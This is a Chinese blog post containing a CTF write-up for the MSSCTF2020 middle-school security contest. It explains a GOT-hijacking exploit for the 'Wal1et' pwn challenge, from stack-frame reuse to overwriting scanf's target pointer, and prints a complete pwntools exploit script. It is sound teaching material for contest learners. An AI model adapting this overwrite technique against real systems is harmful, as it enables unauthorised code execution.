arttnba3's blog

- arttnba3的隐秘小窝 -

0%

【CTF题解-0x05】MSSCTF2020-write-up-by-arttnba3

0x00.绪论

MSSCTF即全国中学生网络安全竞赛,是由西安电子科技大学举办的、面向全国中学生的信息安全竞赛,比赛为采用线上解题模式Jeopardy)的CTF

由于今年疫情原因,比赛全程在线上开办,一心想为学校做贡献(只是想蹭饭)的我也作为志愿者参与了比赛监考的全过程(本来想出题的,但是和中学生巨犇比起来我还是太菜le

以下是我自己的赛后复盘

注:所有的题目环境都已在archive.lctf.online上有一份

以及这次mssctf只有一个人做出pwn题,而且还是ak……中学生恐怖如斯……

0x01.Pwn

0x00.Wal1et - got表劫持

点击下载-Wal1et

惯例的checksec,发现开了NX保护和canary

image.png

拖入IDA进行分析

image.png

main函数中调用了begin()check()两个函数,上图我们容易看出两函数的栈帧的基址应当相同

image.png

begin()函数中可以读入最大108个字节,但是溢出需要至少0x78字节才能覆盖到返回地址,同时该程序也开了canary

image.png

同样的我们可以看到在check()函数中使用了scanf(),但是没给后面的参数,考虑到可能是真的没有也可能是IDA认不出来,故尝试分析汇编代码

image.png

两次调用scanf()前分别将v1v2压入栈中,即本质上是scanf("%d",v1)scanf("%d",v2),这里将v1v2都当成了一个地址并尝试向上面写入数据

前面我们观察到这两个函数复用同一个栈空间,同时在begin()中所读取的字节数量足够覆写check()中的v1,故考虑将v1覆写为后面会调用到的某函数的got表地址,在第一次读入时读入一个可以获得flag的地址,这样会覆写掉got表中原函数的地址;当后面运行到那个函数时,程序会跳转到我们所输入的那个地址上,输出flag,即got表劫持

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

e = ELF('./Wal1et')
puts_got = e.got['puts']
call_sys = 0x08048730
payload1 = b'a'*104+p32(puts_got)
payload2 = str(call_sys).encode()

p =process('./Wal1et')#remote('pwn.challenge.lctf.online',10008)
p.sendline(b'1')
p.sendline(payload1)
p.sendline(payload2)
p.interactive()

运行脚本即可获得flag

image.png

说实话我是没想到过居然可以这么利用的,🐧yyds

0x01.fishing master

先咕咕咕

Welcome to my other publishing channels